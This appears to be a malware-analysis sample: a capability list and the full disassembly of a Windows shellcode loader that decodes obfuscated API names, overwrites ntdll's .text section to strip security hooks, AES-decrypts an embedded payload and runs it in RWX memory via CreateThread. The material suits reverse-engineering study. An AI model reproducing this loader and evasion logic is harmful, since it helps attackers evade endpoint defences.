Function at 0x1400012f0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Create thread
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x2f]
sub rsp, 0xe8
lea rcx, str.kernel32.dll
mov dword [rbp - 0x79], 0x4d660059
mov dword [rbp - 0x75], 0x555e5453
mov dword [rbp - 0x71], 0x4966494d
mov dword [rbp - 0x6d], 0x5f4e4943
mov dword [rbp - 0x69], 0x66080957
mov dword [rbp - 0x65], 0x565e4e54
mov dword [rbp - 0x61], 0x565e1456
mov word [rbp - 0x5d], 0x3a56
mov dword [rbp - 0x29], 0x61657243
mov dword [rbp - 0x25], 0x69466574
mov dword [rbp - 0x21], 0x614d656c
mov dword [rbp - 0x1d], 0x6e697070
mov word [rbp - 0x19], 0x4167
mov byte [rbp - 0x17], 0
mov dword [rbp - 0x59], 0x5670614d
mov dword [rbp - 0x55], 0x4f776569
mov dword [rbp - 0x51], 0x6c694666
mov word [rbp - 0x4d], 0x65
mov dword [rbp - 0x39], 0x616d6e55
mov dword [rbp - 0x35], 0x65695670
mov dword [rbp - 0x31], 0x46664f77
mov dword [rbp - 0x2d], 0x656c69
mov dword [rbp - 0x49], 0x74726956
mov dword [rbp - 0x45], 0x506c6175
mov dword [rbp - 0x41], 0x65746f72
mov word [rbp - 0x3d], 0x7463
mov byte [rbp - 0x3b], 0
mov dword [rbp - 0x11], 0x646e6977
mov dword [rbp - 0xd], 0x2e73776f
mov dword [rbp - 9], 0x726f7473
mov dword [rbp - 5], 0x2e656761
mov dword [rbp - 1], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movsx edx, byte [rbp - 0x5c]
lea rcx, [rbp - 0x79]
xor r13d, r13d
mov qword [0x140022c90], rax
mov eax, r13d
movd xmm2, edx
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx]
lea rcx, [rcx + 0x10]
add eax, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx - 0x10], xmm1
cmp eax, 0x10
jb 0x140001480
movsxd rcx, eax
cmp rcx, 0x1e
jae 0x1400014bd
lea rcx, [rbp + rcx - 0x79]
nop word [rax + rax]
xor byte [rcx], dl
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x1e
jb 0x1400014b0
mov qword [rsp + 0x30], r13
lea rcx, [rbp - 0x79]
mov dword [rsp + 0x28], r13d
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001500
add rsp, 0xe8
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov qword [rsp + 0xe0], r14
mov rcx, rsi
call rbx
mov r14, rax
test rax, rax
je 0x140001550
xor r9d, r9d
mov qword [rsp + 0x20], r13
xor r8d, r8d
mov edx, 4
mov rcx, rax
call rdi
mov rdi, rax
test rax, rax
jne 0x140001563
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400017e7
lea rcx, str.ntdll.dll
mov qword [rsp + 0xd8], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd r8, dword [rdi + 0x3c]
mov edx, r13d
add r8, rdi
mov dword [rbp + 0x67], r13d
mov r15, rax
movzx r9d, word [r8 + 6]
test r9d, r9d
je 0x140001624
movzx r10d, word [r8 + 0x14]
lea r11, str..text
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rax + rax*4]
mov rax, r13
lea rbx, [r10 + rcx*8]
add rbx, r8
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r11 + rax - 1]
jne 0x1400017ff
cmp rax, 6
jne 0x1400015c1
mov ecx, dword [rbx + 0x24]
lea r9, [rbp + 0x67]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, 0x40
call qword [0x140022c90]
cmp dword [rbp + 0x67], r13d
je 0x140001624
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + rdi]
lea rcx, [rax + r15]
call fcn.140015e90
mov ecx, dword [rbx + 0x24]
lea r9, [rbp + 0x67]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, dword [rbp + 0x67]
call qword [0x140022c90]
mov rcx, rdi
call r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, qword [rsp + 0xd8]
test rax, rax
je 0x1400017e5
mov edx, dword [0x140022160]
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
lea rcx, str.ptr:__p_n
mov rbx, rax
call fcn.140001820
call fcn.140004e30
mov edx, dword [0x140022160]
lea r9, [rbp + 0x67]
add edx, 0x1000
mov dword [rbp + 0x67], r13d
mov r8d, 4
mov rcx, rbx
call qword [0x140022c90]
mov ecx, dword [0x140022160]
mov r9d, 0x18
mov dword [rbp + 0x6f], ecx
xor r8d, r8d
lea rcx, [rbp + 0x77]
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rdi, section..data
test eax, eax
je 0x14000178b
mov rcx, qword [rbp + 0x77]
lea rax, [rbp + 0x7f]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000178b
mov rcx, qword [rbp + 0x7f]
lea rdx, [0x140022150]
xor r9d, r9d
mov r8d, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000178b
mov r8, qword [rbp + 0x7f]
lea rax, [rbp + 7]
mov rcx, qword [rbp + 0x77]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x14000178b
mov rcx, qword [rbp + 7]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x14000178b
mov rcx, qword [rbp + 0x77]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x7f]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r8d, dword [0x140022160]
mov rdx, rdi
mov rcx, rbx
call fcn.140015e90
mov edx, dword [0x140022160]
lea r9, [rbp + 0x67]
mov r8d, dword [rbp + 0x67]
add edx, 0x1000
mov rcx, rbx
call qword [0x140022c90]
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.Bye_Bye__n
call fcn.140001820
call fcn.140004e30
xor eax, eax
mov r14, qword [rsp + 0xe0]
add rsp, 0xe8
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
inc edx
cmp edx, r9d
jl 0x1400015b0
jmp 0x140001624